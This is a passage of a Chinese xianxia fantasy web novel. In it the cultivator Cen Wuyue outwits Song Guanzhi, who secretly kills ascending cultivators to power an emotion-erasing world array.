岑无月“嗯”一声,解释道:“我之前替人做了一条腿,怕之后抽不出空,想提前教她如何自己养护那条腿。她刚刚告诉我有空的时间,我得去一趟翊麟城。” “你很精通偃甲吗?”谢还好奇地问,“从未听你提过。” 岑无月闻言一笑,从储物戒里摸了个东西出来,并不给谢还看,而是神秘地将手握成拳递过来:“喏。” 谢还下意识地要用神识去扫,被岑无月踩了一脚。 他只好收回神识,很谨慎地伸手覆上岑无月的拳头,转念一想,又干脆用两只手一起包住,做足了准备后,才郑重道:“好,给我吧。” 岑无月:“……” 见她的眼神,谢还立刻喊冤:“你上次这么做的时候,可是喷了我一脸黑色断魂椒粉!” “那次不是故意的,只是因为闻者落泪丸用完了嘛。” “?”谢还放弃争辩,道,“总之,你慢慢松手,我接着。” 他一点不敢松懈,双手已经做好了接个会爆炸的灵丸、一个滚烫的酒酿圆子、又或者一窝毒液蜘蛛的准备。 岑无月的拳头在他掌心里松开了些,随后从手腕开始缓缓向外抽,一边抱怨道:“你别夹我手腕。” 谢还全身心戒备,话都变少了:“少废话,慢慢的。” 岑无月的手掌抽出大半时,蜷起的指节也松开,一个东西随即落到谢还两只手掌中央。 片刻后,它动了一下。 谢还如临大敌,两手下意识收紧,勒得岑无月“嗷”了一声。 “哇你原来是想废了我的手吗?” “反正你有八只的吧!” “你这说的什么话,我还有两条腿呢!你松手!” “不,你先说这是什么!” “你先松手!” “不,你先说我再松手!” 两人僵持片刻,谁也不肯先让步。 岑无月抽到一半的手开始重新往里挤,手指努力往下够:“那你还我。” 谢还立马收拢双手阻拦:“不行,说了给我的。” “不给了!” “不能不给!” —— 宋观止因为听说岑无月和谢还要一起试验阵盘,不太放心,赶来想亲眼看看情况,结果只看见这两人跟凡人小孩似的在原地握手较劲。 不仅较劲,还一起找她评理。 谢还:“真君,你听我说啊——” 岑无月:“真君,你叫他先放手——” 宋观止充耳不闻,掉头就走。 真不该来的。 第72章 第 72 章 最后宋观止到底还是没走成。 大概是谢还抢成功了, 也可能是岑无月让了他,总之宋观止听见谢还开开心心捧着什么东西离开,那速度简直像是怕岑无月反悔。 而岑无月则跟在宋观止身后追了上来, 道:“真君, 我想好了。” 宋观止停步, 回过头看她, 等待一个答案。 岑无月弯着一双杏眼, 毫无城府、充满信任地说:“我决定入天上地下清心寡欲阵。” 宋观止对这个决定并不意外, 但内心仍产生一种石头落地的轻松。 她淡淡道:“好, 什么时候用水幕?” “就现在吧,”岑无月笑眯眯地道,“若有线索,我也可尽早去寻找他们。” 宋观止颔首,取出传送法器。 这次都不用她说话,岑无月已经主动贴上来了。 宋观止动作微顿, 最后什么也没说, 启动法器,二人瞬时回到太上门。 第二次立到水幕前时,岑无月突然问:“真君,什么样的情况会在水幕中看不到人呢?” 宋观止偏首看岑无月。 她想,岑无月会问出这个问题,应当是内心已经对坏结果有所猜想了吧。 “灰飞烟灭、身死道消之人等同于回归天地灵气之间,无处不在,”宋观止说, “这样的人是无法从水幕中找到的。” 当然还有一种可能。 那就是岑无月师门那样的秘境。 但宋观止若将这条也说出口, 便很容易暴露自己曾经窥探过那个地方。这自然是不开口的好。 岑无月轻轻叹了口气,但脸上很快挂起笑容:“那我们开始吧。” “先看哪一人?”宋观止问。 岑无月道:“鹿云渺。” 宋观止对水幕注入灵力。 画面几度波动, 迅速闪过数个不同的地点,但最后又化作一片朦胧的雾。 早有预料的宋观止偏头看向岑无月,发现她也并不意外。 岑无月只是望着水幕,轻声道:“请真君再替我看一眼沈述。” 宋观止又做了。 仍然是一片代表着没有结果的水雾。 这便等于是不用找了。 两人都是找不到的。 岑无月一时没有说话。 屋内静悄悄的。 宋观止等了片刻,又抬手输入第三股灵力。 这次画面并未闪烁、模糊,而是现出了岑无月的脸。 岑无月微微睁大眼睛,和幕中的自己四目相对。 “送你一次。”宋观止道。 岑无月小跑上前,好奇地摸自己的脸,又向周围望一圈,乐道:“真奇妙。” 心情好像立刻就被哄好了。 这种地方倒是有些无情道修士的样子。 宋观止抹去水幕的画面,道:“接下来,你该潜心修行了——飞升于你应当不难。” 岑无月眨眨眼,这次倒是没有再否认,而是有点不好意思地笑了一下,道:“哎呀,真是瞒不过您。” —— 岑无月没有立刻开始修行,而是又说有事要办、去了一趟翊麟城。 不过这就是她最后要办的一件事了。 宋观止非常擅长等待。 时间对她这样习惯了等待、寿命又几乎无限的人来说,根本没有意义。 若不是灵脉无法支撑太久,她可以无休止地等待那个道心通明的人出现。 不是岑无月,也可以是下一个,下下一个…… 但现在,只有岑无月了。 不过,这并不是说宋观止喜欢等待的感觉。 恰恰相反,她恨透了被动的等待。 —— 许多年前,宋观止还不是高高在上、天下第一人的太上无相真君。 那时,她还只是青年才俊中的一人。 那时的修真界,也不是人人都修无情道。 宋观止是阵修中的山河道修,这类修士擅长以地势为阵盘,因地制宜布置阵法对敌,若是地带适合,一人便能发挥出千百人的力量。 唯一的难点是需要天资,好在宋观止不缺这个。 山河道修的身份让宋观止成为了最早发现灵脉异变的人之一,消息由这第一批发现之人扩散开去。 最开始,众人试着寻找是否有人刻意污染灵脉,花了不少时间才排除这个可能性。 接着是试图净化灵脉,但效果并不显著,又根本赶不上污染的速度。 再然后是镇压、祭祀……群魔乱舞了几百年。 宋观止也由“青年才俊”成为了“领袖”之一。 在这过程中,她失去了亲朋、好友、同门、道侣。 从他们手中接过的责任,一日沉过一日。 她还见证过世间无数与自己相似又或者不相似的悲剧。 越是无法解决业障,人们越是恐慌绝望,业障增长、污染的速度越快。 最开始与宋观止并肩作战、又幸运地活下来的人中,有不少因为各种各样的原因,选择了堕魔。 宋观止又不得不去将他们中作恶的一些人杀死,避免天地间的业障生成速度进一步加快。 死在她手中的人究竟有多少,她早已记不清。 渐渐地,宋观止已经想不起来自己最开始的目的是什么。 是飞升?是因为痴迷于阵道的精妙、想要学有所成?是拯救天下苍生?还是不让任何将希望寄托在自己身上的人失望? 又或者,她如今只是一具贯彻他人意志、靠惯性行动的行尸走肉? 在几乎是无止境的杀戮与徒劳的奔波中,宋观止不记得自己究竟是在哪一日生出了这个念头:为何人生而有情呢? 不喜欢衣服,可以换;那不需要情,是否可以主动割舍? ——宋观止当机立断放弃山河道,转修无情道。 之后几千年,宋观止都在做同一件事:让天下修士都走无情道的路子。 拥有强大实力的修士们都这么做后,凡人中的一些会附庸风雅地效仿,哪怕平民百姓也会因为担心惹怒修士而收敛情绪。 灵脉被污染的速度确实逐渐变缓了。 加之又有净庭山的横空出世,宋观止终于有了一丝喘息的机会。 她细细思量,最后捡起从前扔下的山河道,呕心沥血绘制出一套新的阵法,花费巨量的物力、财力、时间,将其框架嵌入灵脉之中,只等条件集齐,便可启动。 她等待。 等得几乎忘记自己为何这样执着地等。 等过那些不死心非要修行有情道的修士。 等过那些通过无情道而走向飞升的修士。 等到谢还。 又等到岑无月。 如今,她终于可以启动此阵,完成几千年、无数人的夙愿。 若是此次成功,就再也不必等待了。 …… “真君!”岑无月突然冒出头来。 出神的宋观止下意识握紧手中玉简,偏头向窗口看去,道:“我已经说过了,不必叫我真君。” “但比起‘宋前辈’来,还是‘真君’这两个字更让我觉得亲切呢。”岑无月轻快地说着,从窗户翻了进来。 宋观止习惯性地向岑无月身后看去:嗯,这次没有谢还,看来不是小孩吵架找大人评理。 “翊麟城的事办完了?”宋观止问。 “嗯!”岑无月高高兴兴地坐了下来,拿出一盒香喷喷热乎乎的烤肉饼,“真君吃吗?” “不。”宋观止拒绝,并神色平淡地将玉简收起,询问,“什么事?” “我没有事啊,”岑无月道,“觉得真君总是看起来很无聊的样子嘛,所以来看看你。” 宋观止并不觉得无聊。 但她还没有开口,岑无月便乐了:“你不同意,对不对?这种事情都是自己看不出、旁人才明白的啦。我从前经常看师父露出这种表情,所以很熟悉。” 宋观止道:“向思雨?” 倒是岑无月有些诧异:“真君也知道我师父吗?” “我活了很多年,你师父和苏艺桐于我而言都只是小辈。”宋观止平静地说,“她们异军突起时,我也曾关注过。” 她总要知道每一个成为强者的人对于这世间的威胁究竟有多大,又是否应该斩杀。 “这样啊,”岑无月精挑细选了一个肉饼,语气如常道,“那真君对她们之间的事情应该也很了解了。” 宋观止应了一声。 其实最开始只有大致的了解。 但岑无月的出现让宋观止不得不将于她有关的一切细细重新调查了一遍。 向思雨与苏艺桐的恩怨便是作为背景的重要一环。 “所以,我师父也经常会露出那种表情啦,盯着一些东西发呆,很多时候还都是很危险的东西,悬崖啦火堆啦利器啦之类的。”岑无月在自己脸上比划示意,又笑了笑,“我大概明白那是什么意思,所以会去闹她,让她暂时停止那个想法。” 宋观止不解地发问:“什么想法?” “不想活了。”岑无月爽快地说完,啊呜一口咬下半个肉饼。 宋观止一顿,摇头道:“我并无轻生的念头。恰恰相反,我有非做不可的事。” 岑无月眨眨眼,咽下肉饼后笑道:“真君,‘不想活’和‘轻生’,这可不是一个意思。” 宋观止一愣,竟从这句话里品味出一丝高深微妙的禅意,仿佛与人论道了一场。 而与她论道的对手此时却已经端着盒子起身,连蹦带跳往外走,发梢都带着快乐的气息:“嗯,这个好吃!我去给谢还分点儿。” 第73章 第 73 章 秦鲤搜集了足够用三次的维护材料。 都是照着岑无月给的清单准备的。 说实话, 其中的一些东西实在很怪。 但考虑到这是岑无月的独门偃甲术,又确实是岑无月亲手列的清单,就算再怪, 想必应该一定有她的理由…… “……真的有必要给它供上五谷四肉三果、祭祀三个时辰之后, 才能装回去吗?”秦鲤拧眉看清单, “怎么看这最后一行都只是岑无月写来好玩取乐的。” 封不眠却很认真地说:“但你愿意冒这个险吗?我不愿意。” 秦鲤无言以对。 岑无月来翊麟城时也是见了封不眠的, 两人聊了些星玄度的事。 封不眠一听说岑无月的来意, 便死缠烂打地跟来听了偃甲养护的所有内容。 “你也清楚, 岑无月进入太上门已有两年半, 期间一次都没有出现过。”封不眠说,“万一你的腿出了问题,我们恐怕都找不到她。” 秦鲤低头看向自己的那条假腿。 ——事实上,因为这条腿与真腿几乎是毫无差别,她绝大多数时候都忘记了自己比别人少一条腿这件事。 如果再次失去这条腿,她可能会一蹶不振。 她便没有再反驳那最后一条。 但她仍然坚信这绝对是岑无月故意写出来逗他们玩儿的。 第二次重复清点完毕, 秦鲤收起清单, 说:“要是岑无月专研这门偃甲手艺,想成为修真界最有钱的人也不难。” 封不眠趴在桌上,懒洋洋地道:“感觉钱肯定不是她想要的东西。” “这我当然知道,人人都想飞升。”秦鲤道,“岑无月也不例外。” “……”封不眠换了个方向,从这边趴着望穿窗口,便能遥遥看见雪山之巅的一个尖尖角。 ——那就是太上门的所在。 “不知道怎么,”封不眠喃喃地说, “我总觉得飞升也不是她打从心底里要的东西。” “你觉得错了。”秦鲤冷酷地否定。 封不眠直起身来, 一本正经地辩驳:“她当然也打算飞升,但是, 她真正追求的并非是飞升本身,而是随着飞升一同得到的……另外某种东西。” 他说着说着,自己也不太确定起来。 “比如呢?”秦鲤随口搭话,“强大无匹的力量?但岑无月根本也不爱打架吧。” “……”封不眠绞尽脑汁地思考,五官都皱了起来。 他比秦鲤知道得更多。 但也非常有限。 岑无月单是在翊麟城,就至少做了叩开天门、破星玄度舍缚这两件大事。 她还去过别的好几处地方,在那些地方又都做了什么,封不眠不知道、也不敢想。 岑无月突然进入太上门修行是件轰动的大事。 太上门确实收弟子,但没有人能直接拜在太上无相真君门下、又被她日日领在身边亲自教导。 更何况岑无月并没有成为真君的弟子,可真君待她比亲传还要亲传。 两年多了,岑无月什么消息都没有。 不像其他人那样逐渐忘记这个名字,曾经窥见冰山一角的封不眠如今只觉得心惊肉跳,越想越心惊肉跳。 岑无月到底要做什么? 她想要的究竟是什么? 真君是否知晓一切,所以才将岑无月带入太上门? 也可能是因为岑无月想要通过太上门得到什么,所以才跟随真君前往那雪山之巅? 又或许,岑无月早就已经死了……? ——但所有的这些思考,封不眠并不能对秦鲤诉说。 他说不清为什么,只是直觉这么做太危险了。 其实在两年半前,岑无月来翊麟城与秦鲤说偃甲的事情时,封不眠便一直有当面询问岑无月的摊牌准备。 见到岑无月之前,他简直是如临大敌,连不得不和岑无月动手的局面都设想了八百个。 见到岑无月之后,他完全忘记了这回事,如沐春风地接待她,又客客气气地送走。 岑无月离开之后,封不眠才恍然想起自己最开始的打算。 整个过程仿佛被人下了什么操纵类的蛊。 回想起来封不眠就打哆嗦。 他最终打定主意不去掺和这等大事——天塌下来都多的是高个顶着呢。 雪山那么高,对吧? 不管岑无月究竟要做什么,太上无相真君一定有办法的,嗯! —— 之后又过了十年。 玄枢城的辞青城主死了,代理城主桑青宣布全城搬迁,离开伴随了多年的灵脉。 星玄度又重新修行了,速度快得吓人,封不眠对他的心态已经迅速从同情安慰转化成羡慕嫉妒。 六合书院的叶秋宁成了弟子中的领头人,但人人都说他和千嶂夕比起来还是差得太远太远。 新的魔修、新的后起之秀,零零散散都冒出来了几个。 但封不眠从来没有忘记过岑无月的存在。 这十年里,岑无月仍然没有离开太上门。 她做的偃甲腿太过耐用,光是日常保养便已足够,用于重要维护的材料都原封不动地封存在秦鲤手中。 许多人再提起“岑无月”这个名字时,态度都逐渐统一:“下一个飞升的肯定就是她了,真君这样指导,哪怕是猪也能飞上天。” …… 这一年,封晓风决定再度广邀天下青年才俊前来翊麟城试叩天门。 封不眠跟随在封晓风身旁待客。 身为城主与少城主,他们自然只接待贵客。 而这位贵客便是奚逐云。 修真界的时间有时走得很快——比如封不眠没想到上次见岑无月已经是十二年前的事;但有时候又走得很慢——比如奚逐云还是和以往一样,保持着一副温柔好说话、好似完全没有长大的样子。 ……嗯……这样说有点怪了,毕竟奚逐云的年纪还要比封不眠大上一点。 封不眠对奚逐云很好奇,因为他知道奚逐云和岑无月的关系不错。 岑无月上次来翊麟城,脖子上那灵符明晃晃就是奚逐云的气息。 况且,岑无月可是在净庭山闭山之后,唯一一个被允许进入其内的人。 ——那么,奚逐云会像封不眠一样,猜到、知道些许岑无月的不对劲吗? 封不眠好奇死了。 他端坐在封晓风下方,装作认真地听封晓风与奚逐云谈话,但双眼却一直热情地盯着奚逐云观察。 奚逐云最后都撑不住了,好脾气地对封不眠道:“少城主有话请讲。” 封不眠嘿嘿一笑:“只是想到曾经听岑无月提起过云渊守的一些事。” 其实岑无月没提过。 但岑无月不说谎,他封不眠可没这条原则。 闻言,奚逐云愣了一下,表情没有什么变化,只是抿直嘴唇,可耳朵却渐渐红了。 ……等等,等一下。 封不眠飞快调整话题,避免显得过于失礼:“而且她进入太上门后,便再也没有露面过,不知道您是否有与她通讯过?” “有。”奚逐云答得很快。 巧的是,就在奚逐云答这句话的时候,门外飞来一只白色的灵鹤,亭亭落在他肩膀上。 奚逐云露出温和笑意,抚过灵鹤头顶与细颈,对封不眠道:“这是我赠予她的信使。” 虽然很不合时宜,但封不眠心中居然舒了一口气:看来岑无月没有暴露目的、然后被太上无相真君杀掉啊。 奚逐云读完传讯后,眉眼更加舒展了一些,显得心情很好,甚至在回讯时特地询问封不眠:“少城主需要我带话给她吗?” 封不眠不假思索道:“不必了,作为朋友,知道她一切都好便已足够。” 事到如今,他已经很明白自己是不够岑无月玩的,如果不想被玩死,最好还是不要主动送上门去。 —— 等到奚逐云起身告辞后,封晓风道:“刚才的话你都听到了。” 正事的话,其实封不眠都左耳进右耳出了。 但城主突然考问,他只好开始紧急回忆。 “五月初六,灵脉将有异动,”封晓风没等他,直接道,“城内戒严,不许任何人外出。叩天门一事便先推迟吧。” “知道了。”封不眠点点头,并不觉得这是什么大事。 奚逐云作为净庭山传人,对灵脉比对人熟悉得多,提前一段日子预测灵脉会产生异动也不奇怪。 但等到五月初六这天来临时,封不眠一大早便看见周围灵脉以要毁天灭地的阵势挨个喷发,一整个瞠目结舌:“城中民众最近情绪波动如此剧烈吗?” 封晓月倒是很平静,她对封不眠说:“不止是翊麟城,所有的灵脉都是如此。” 封不眠只有:“啊??” “真君此次若是能一举成功……”封晓风叹息一声,没有将话说完。 封不眠从没有哪一刻像现在这样意识到自己只是个还没有得到实权的孩子,所以长辈说的这些事,他几乎都听不明白。 到中午时,太阳已经被完全遮蔽了,伸手不见五指。 这样的异常让封不眠心中也难免生出一丝烦躁不安来。 直到子夜时分,翊麟城半空传出一声巨响。 封不眠立刻想要出去查看,却被封晓月的厉斥止住:“站住!” “可是,姑母——”封不眠回头想要说些什么,见到封晓月的眼神时却又咽了回去,一阵针扎似的寒意倏地窜过脊椎,引起警戒的鸡皮疙瘩。 那不是他的姑母。 而像另一种……东西。 但也只是瞬间,那丝怪异的感觉便消失了。 “全城戒严,不许外出,”封晓月冷声道,“你我也是一样。外面发生的事,不是你我、不是翊麟城能够插手的。” 封不眠僵了半晌,缓缓坐回原地。 这时,他心中又一次没由来地浮现出了那个十几年没有出现在修真界中的人。 一定与她有关。 封不眠望向窗外那铺天盖地的不祥黑色,一时思维反倒有些飘忽不定、四处游荡。 ……不知道这一次,岑无月究竟能不能得到她真正想要的东西? 第74章 第 74 章 等待岑无月摸到飞升边缘并没有花费宋观止太多时间。 对凡人来说或许很久, 但对宋观止来说,这与之前的等待比起来根本算不了什么。 “此阵共有十二处阵眼,其中九处是我提前布置好的死眼, 但剩下的三处是活眼, ”宋观止在空中描绘出阵法的布置, 为谢还和岑无月讲解, “因此我们三人需要同时入阵, 各站一眼。岑无月, 你是道心通明之人, 你才是最重要的阵眼,因此你需要站在中央。” 谢还在旁边“哎?”了一声,表达自己的不满:“其实我觉得我也挺通明的。” “而谢还与我,将会在你东西两侧。”宋观止充耳不闻,“我为主阵者,因此我在东。西侧阵眼在灵墟, 中央阵眼在太上门。” 岑无月仰头记忆阵法的纹路线条, 笑眯眯地点头:“好。” “我已托奚逐云向各大势力提前通知传达过灵脉暴动的消息,尽管全力施展,不必担心伤人。” 谢还拖长了声音道:“真君,同样的事情你已经讲三遍了。” 宋观止挥去空中光影,道:“只是最后再确认一遍。此阵倚赖山河地势,只能使用一次,我无法重构第二遍。因此只能成功,不能失败。” 岑无月重复了一遍:“只能成功, 不能失败。” 谢还的表情轻松惬意, 看起来好像只是要出去游玩。 宋观止深深看二人一眼,俯身一礼, 起身架云而去。 身后,谢还与岑无月打一声招呼后便也离开。 太上门的弟子早在完成所有的阵法启动准备工作后便提前撤离,如今的雪山只剩下岑无月一人。 —— 宋观止落到自己所属的阵眼。 这是她亲手布置的阵法,没有人会比她更熟悉。 东侧不止是主阵者的阵眼,更是迸射杀机的位置。 若说整个阵法是一座巨大的机关,那东侧活眼便是能真正将其启动的开关。 宋观止掀袍盘坐下来,耐心地等待。 不一会儿,谢还的声音出现了:“什么时候启动?现在可以输入灵力了吗?来吧,让我们速战速决!” “三人同时。”宋观止平静地说。 谢还有些纳闷:“岑无月人呢?她都不用移动,怎么这么慢——啊,闭关这么久,肯定馋得偷吃去了吧。” “才没有,”岑无月的声音也加入了,还附带着一些很可疑的、像是餐具碰撞的动静,“我是光明正大地吃。” 谢还叹气:“唉,早知道问你拿一点,我还真没试过在灵墟里吃东西,不知道颜色变了味道会不会变?” “光是颜色变化就能让东西变难吃。”岑无月立刻道。 “你说得对,但尝试一下多好玩啊!” 宋观止静静听他们聊了许久废话,才打断道:“准备好了吗?” 谢还兴致高涨:“好了好了!” 岑无月那边可疑的碰撞声在一阵手忙脚乱的高频后归于寂静。她笑眯眯地说:“真君,我也全部准备好了哦。” “开阵。”宋观止道。 —— 三人同时输出大量灵力,这些灵力顺着被描绘好的阵图路线飞速流动,穿过大地、山川、河流,在天地间勾勒出一张精妙无比的繁复阵图。 阵图的基础构架激活后,接着亮起的是九枚死眼。 每多激活一枚死眼,宋观止便能感觉到自己与这天地万物的联系紧密一分。 当灵力流通过全部九枚死眼后,世界在宋观止的眼中变了。 她看待它,就像是裁缝看待一匹布、画师看待一张纸。 她几乎可以按照自己的心意去对它进行改动了。 阵内传讯中,谢还在抱怨地嘟囔着“这感觉真让我不太舒服”,而岑无月则是一言不发。 宋观止抬眸看向灵墟的方向,抬起左手,缓慢地做了一个握拳的动作。 谢还的声音一下便提高了:“有什么东西把我定住了?” 宋观止又抬起右手,这次是对着太上门的方向,全力弹指。 岑无月短促地发出一声惊呼,半途戛然而止。 谢还狐疑地唤:“岑无月?你也被定住了?” “谢还,”宋观止道,“镇守灵墟,不可轻举妄动。” “真君,”谢还的声音冷酷起来,“你先前可没提到这些。” “但我说过,什么意外都有可能发生。”宋观止说着,右手的动作未停,向内遥遥一招。 几个呼吸的时间,岑无月的身体便被带到了她的眼前。 岑无月紧闭着眼睛,双脚都无力地垂落,看起来完全失去了意识。 一个人的力量再强,那也只是单打独斗而已。 宋观止花了一些时间,用神识、用灵力细细观察岑无月的身体。 直到确认可以进行下一步,宋观止才跪坐下去,将岑无月横置于地面,用右手抚上她的头顶。 深吸一口气后,宋观止调动全阵的灵力流动向自己体内涌入,再通过右手灌输进岑无月的身体。 谢还似乎倒抽了口冷气:“真君,这也正常吗?” 宋观止这会儿已经没有心情和余裕再敷衍他,光是控制自己的身体不爆炸便已经是竭尽全力。 一个人又怎么能容纳得下整个世间的灵力呢? 若不是有此阵和他人的加持,宋观止根本不敢想这种事情。 但巨大的肉身痛苦中,宋观止仍旧保持着绝对的神智清明,指挥着那些残酷的、鱼龙混杂的、尖啸着的灵力,将岑无月一点、一点按入阵眼之中。 是的,按入。 从与地面接触的部分开始,岑无月的身体极其缓慢地融入其中,二者逐渐合为一体。 “……这什么东西,”谢还发出疑惑的声音,“阵盘里有个奇怪的东西被放进来了?” 宋观止没料想到他的感知如此敏锐。 只是她一心专注于将岑无月化入阵中,无暇说话。 而谢还?宋观止早就替他安排好了一切。 第一,谢还的灵力量之巨,几乎能超过其他九枚死眼之和,宋观止需要他入阵助力。 第二,宋观止不确定自己是不是谢还的对手,因此她特地将阵眼设置在灵墟,又要求谢还必须以真身入阵。谢还知道他一旦离开灵墟便是生灵涂炭,哪怕再疑惑也不会轻易起身离开。 若不是谢还太强,宋观止早就启动此阵、清除了世间浊气。 但找到谢还之后,她很快发现自己并不能确保击败杀死他,因此才对谢还说自己需要他的帮助,诓骗他奔波救世。 ——谢天谢地,谢还是个轻信他人的性格,从未怀疑过宋观止的目的。 不过,宋观止对他说的,也不全是谎言。 她确实要通过此阵来扫荡世间一切浊气。 她只是没有向他提起这个阵法所附带的一些……微不足道的牺牲。 —— 指望人们自己割舍全部感情是不可能的。 人生来便是那种生物:他们从出生到死亡,即使痛苦不堪、即使遍体鳞伤,也一生都无法摆脱对“被他人所爱”的渴望、对“他人被他人所爱”的嫉妒、对“不被他人所爱”的怨恨。 而这是在自取灭亡。 如果他们自己做不到割舍,就只有更高的力量来帮他们做到。 一个宋观止的力量不够,那就寻求更多的助力,直到拥有足够的力量——能够改变所有人的力量。 然后,她将抹去所有人的喜怒哀乐,让所有的恶念、所有的执迷不悟、所有的业障,统统灭绝。 灵脉恢复清澈,生命可以延续,再也不会有人因为“情”而死去。 —— 想要做到这点,宋观止需要至少七名无情道修士的身体。 不能是普通的修士。 也不能是有情道的修士——这些人中,但凡接近飞升的,宋观止都杀了。 她不会让“只有无情道可以飞升”这一已经建立的共识被动摇。 只能是无情道的高阶、甚至是即将飞升的修士——这些人在断情绝爱上几乎做到了极致,于是便可以置于阵中作为阵法运行、清洗时的“参照”。 这便是九枚死眼的由来。 从来没有人飞升成功。 他们只是在飞升成功的光鲜假象背后,成为宋观止手中的尸体、进而被嵌入死眼内,成为此阵的重要构成部分。 但只有死眼还不够,宋观止最需要获得的,是那枚活眼。 她需要一个真正的“无情道修士”。 —— 最开始,宋观止其实以为活眼是最简单的。 她以为自己便可以将其填上。 但在试行失败后,她疑惑地用那九个即将飞升的修士都试过一遍。 无论他们看起来是多么无情、残酷、冷漠,却没一个能被放入活眼之中。 宋观止甚至都有些不明白“无情道”究竟是什么了。 她只好随身携带一枚活眼附件行走,只有在接触到合适的人选时,才会接到提示。 遇见谢还之前,搜寻无果的宋观止已经有些绝望。 作为推广全修真界转修无情道的人,她居然开始不确定世上是不是有真正的“无情道”。 谢还符合活眼的标准!这让宋观止又重新坚定了信念。 可她很快又意识到若是谢还的“道”如此完美,那他若是想要强行飞升,自己未必能阻拦他。 大阵只能用一次,要么用来阻拦谢还飞升,要么用来净化世间。 宋观止自不可能选择前者。 于是,她骗取谢还的信任、说服他放弃飞升,此后一边修改阵法,一边等待下一个“无情道”出现。 数百年后,岑无月姗姗来迟。 这一次,宋观止吸取前车之鉴,借取谢还的力量来对付岑无月,果然一击得手。 得到岑无月的身体后,宋观止只需要做最后一件事——将岑无月融入活眼,让大阵常驻天地间,从此河清海晏。 注视着岑无月的面孔缓缓消失于地面,宋观止宛如完成了什么夙愿、又或者是结束一场过于长久的噩梦似的长长叹了一口气,觉得如释重负。 她伸手探向自己的灵府,准备献出自己的生命来完成最后的启动。 ——凡人、修士,都再也不会觉得痛苦了。 …… …… “哎呀,”有人语气轻快地说,“先等一下,不要急嘛。” 第75章 第 75 章 为什么只有无情道才能飞升呢? 岑无月也深入思考过这个问题。 若是按照谢还转述里宋观止所说的那样, 因为谢还实力太强,所以飞升会破坏此世的平衡,可其他人因为实力不够所以不会造成如此大的破坏——那飞升就太儿戏了。 这几千年间, 并不是没有非无情道的人修炼到高阶, 而后尝试飞升的。 只是他们无一例外都死在了尝试的途中。 无情道的修士即便尝试飞升失败的, 却也未必会死亡。 究竟是“除了无情道修士外, 试图飞升的人都死了”证明“只有无情道能飞升”, 还是有人为了证明“只有无情道才能飞升”所以制造“除了无情道修士外, 试图飞升的人必死无疑”? 想查清这个问题、又不提前暴露自己, 太麻烦、也太耗时。 岑无月用了一只眼睛得到这个问题的答案,同时证实了自己的猜想。 问题是“干铎海飞升时发生何事导致他的死亡?”。 干铎海是当时公认或许真能以琴道而非无情道飞升的绝世天才。 舍缚生效后,岑无月看见了干铎海试图破碎虚空,却在最终冲过那道无形的屏障后,见到了守在那里的宋观止。 宋观止并未解释什么,只是淡淡说声“抱歉”, 便展开交战。 干铎海死于宋观止之手, 但宋观止也受了伤。 ——有这一答案,岑无月得到的信息也足够了。 她不需要再花费一只眼睛去问“那飞升的九人又发生了什么”,只要反推便可以知晓。 既然宋观止要天下人都坚信不修无情道死路一条,那哪怕是伪造也一定会推出成功飞升的例子,好让众修士坚定信念。 —— 光是知道“究竟怎么回事”其实只是任何计划最基础的第一步。 因为“接下来该怎么办”才是最重要的。 和宋观止正面打嘛……胜算属实是不太高,最重要的是也不安全。 两人的威望无法相提并论,届时若是宋观止振臂一呼让全修真界都来讨伐岑无月,绝大多数人都会选择听从。 一挑世界?岑无月可不想。 —— 天上地下清心寡欲阵的出现让局势更明了了一些。 一开始, 宋观止并未直接将阵法展示给岑无月看, 但她特地制作了微型阵盘来取信于岑无月。 岑无月倒不介意大小。 她在灵脉当着谢还的面试用了一个,剩下两个自己带回去拆了。 阵盘嘛, 和偃甲也算是触类旁通。 岑无月捣鼓折腾完两个阵盘后,发现比起“清理”,功能上似乎更多注重“抹除”“同化”。 哎呀,一听就不太妙。 —— 水幕还是挺有意思的。 要让宋观止放心,同时又能获得想要的情报,更要提前确认鹿云渺、沈述相关之事不被暴露,试用的三次人选也需要精挑细选。 第一个是辞青。 辞青只能算是活死人。她的身躯被岑无月剥夺控制,只剩余神魂还是清醒状态,但也仍是被禁锢的。 第二个是方绝简。 凡人与修士不同,没有灵力,也没有神魂。 第三个是根本不存在的人,是奚逐云身外之身的拟态。 可水幕居然也能找到。 宋观止明明知道净庭山只剩奚逐云这一个弟子存活。 答案便很明了了——水幕能给出的答案倚赖于宋观止本人的意志与认知。 岑无月松了口气,不再担心寄养在净庭山的鹿云渺碎魂被水幕发现。 不过同时,岑无月又新升起了担心:这水幕有没有在她身上被使用过? 奚逐云被照到时会有察觉,岑无月可不一定。 —— 好在宋观止最后好心多“送”一次水幕,在岑无月行动之前便提前打消她的疑虑。 被注视的时候浑身发毛,这可很难察觉不到。 宋观止说从六合书院才注意到她,这句话倒没有说谎。 至于修炼,那是最简单的部分了。 岑无月甚至还有时间抽空私底下做偃甲,又或者吃点不好消化的镇灵岩。 宋观止一点没有藏私,一心一意地盼望着岑无月走到飞升那一步。 看起来不是要养肥到飞升再一刀杀掉的样子。 这让岑无月更好奇自己在宋观止计划中究竟是个什么位置了。 ——这个问题也很快得到解答。 宋观止一说天上地下清心寡欲阵有九枚死眼,岑无月立刻就知道这个“死”字是什么意思。 除了那九个倒霉的无情道“飞升”修士还能是谁嘛。 而剩下的三枚活眼,一枚是宋观止,一枚是谢还,中央是岑无月。 听起来更不妙了呢。 但像谢还这种脑子的人就丝毫不会怀疑,怎么安排他怎么做,笑嘻嘻地戳一下岑无月的脑门便离开了。 空无一人的太上门中,岑无月绕着活眼的位置走了两圈,伸个懒腰,也开始干活。 她取出与自己长得一模一样的偃甲,放入阵眼里。 然后飞快搓个身外之身出来——这种快速制作的野路子还是从谢还那里学来的。 接着,把身外之身融入眼前这具内部结构也是与自己别无二致的偃甲里。 身外之身是神魂分裂出去的一部分。 经过在翊麟城的学习,岑无月早能算是半个魂修,这点缝缝补补的功夫很是到位。 身外之身坐了起来,看看左右,又躺了回去,双手安详地交叠于小腹,朝岑无月眨眨眼:“我准备好了哦。” 岑无月摸摸储物戒,掏出一碗红油抄手:“临走之前吃点啥吗?” 身外之身乐了,摆手拒绝:“两张嘴同时吃,那师父得尝到什么味道啊?” 确实。 岑无月慢悠悠地举起勺子开吃,一边还和谢还聊天逗乐。 等最后又检查过身外之身的情况,她才开口道:“真君,我也全部准备好了哦。” —— 岑无月能感觉到,在九枚死眼依次被激活后,天上地下清心寡欲阵的构造才终于完整,像是一柄剑终于完全被抽出了鞘。 紧接着就是谢还。 岑无月都不用通过在他身边那只蜘蛛偃甲感受他的状态,光从阵内传讯就能听见他嘀嘀咕咕抱怨这种灵力被入侵抽走的感觉不舒服。 真是个好人,阵法都这样抽他都不带反抗的。 